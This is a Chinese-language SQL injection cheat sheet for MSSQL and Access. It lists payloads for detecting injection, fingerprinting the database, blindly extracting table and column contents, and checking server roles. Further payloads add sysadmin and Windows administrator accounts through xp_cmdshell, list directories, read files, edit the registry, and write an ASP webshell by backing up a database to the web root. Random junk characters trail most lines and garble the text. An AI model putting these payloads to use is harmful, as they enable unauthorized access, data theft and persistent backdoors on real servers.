1.判断是否有注入;and 1=1 ;and 1=2 G"}qV%"6"
2.初步判断是否是mssql ;and user>0 cL6 6gOEL
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3.注入参数是字符'and [查询条件] and ''=' (:ZPt(1
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 4;?1Kb#
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5.判断数据库系统 D 5=C^`$2
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;and (select count(*) from sysobjects)>0 mssql fwRGT|":B
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;and (select count(*) from msysobjects)>0 access 2q+la|1Cr
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ^GN5vT+:'
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ] OUD5T
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 r~I.F!{
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9.(1)猜字段的ascii值(access) n:F@gZd`
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 k9cK bf@
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(2)猜字段的ascii值(mssql) 6!@0VI&P
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 *8/VSs
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10.测试权限结构(mssql) X#VEA=4{
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- sbzeY1
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- .a {QA
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- =<Hy"4+?.
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- !TGr .R
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 6F,/w:
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [@g ~
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;and 1=(select IS_MEMBER('db_owner'));-- c$/<l5Uw
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11.添加mssql和系统的帐户 ^[0"vtb
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;exec master.dbo.sp_addlogin username;-- "8FSA`>=
;exec master.dbo.sp_password null,username,password;-- y`({ .L
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- TWtC-wI;
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;exec master.dbo.xp_cmdshell 'net user username password l4zw]AYk+X
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- iFSJ4 W(
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6`1k
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- f0OgK<.>T
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12.(1)遍历目录 Y4`QK+~fH
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;create table dirs(paths varchar(100), id int) ?x'w~;9R/
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;insert dirs exec master.dbo.xp_dirtree 'c:\'
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;and (select top 1 paths from dirs)>0 X`D+jiQ(f
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(2)遍历目录 x`#22"m
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 7r['
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1EQvcw#
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 \<=IMa0
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 xuF5/(__
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 >r=6A
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13.mssql中的存储过程 &/iFnYVhy
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xp_regenumvalues 注册表根键, 子键 lf6|.
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 loBtd%wY
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xp_regread 根键,子键,键值名 vkuc8 li
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;exec xp_regread b#A(*a_gN
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 :,47rN,qa
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xp_regwrite 根键,子键, 值名, 值类型, 值 UDMyyVd
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ?|lI Xz
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 %6Rn4J^^
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xp_regdeletevalue 根键,子键,值名 VjY<\WqbS
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 16?C@`S>
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 t{6ap +%L
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14.mssql的backup创建webshell P2t_T'R}
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use model "ee'2O
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create table cmd(str image); aLYLd/ KV
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insert into cmd(str) values (''); X>{p}vtvf>
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backup database model to disk='c:\l.asp'; xG8`'SNY
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15.mssql内置函数 HA1]M`&
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;and (select @@version)>0 获得Windows的版本号 Xo8DEr
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa C38%H
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;and (select user_name())>0 爆当前系统的连接用户 .yX>.>"T|
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;and (select db_name())>0 得到当前连接的数据库 rFfy#e
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16.简洁的webshell 5j`v`[B;
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use model rnH}#u+
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create table cmd(str image); p1~*;;F
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insert into cmd(str) values (''); ~z`/9;
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backup database model to disk='g:\wwwtest\l.asp';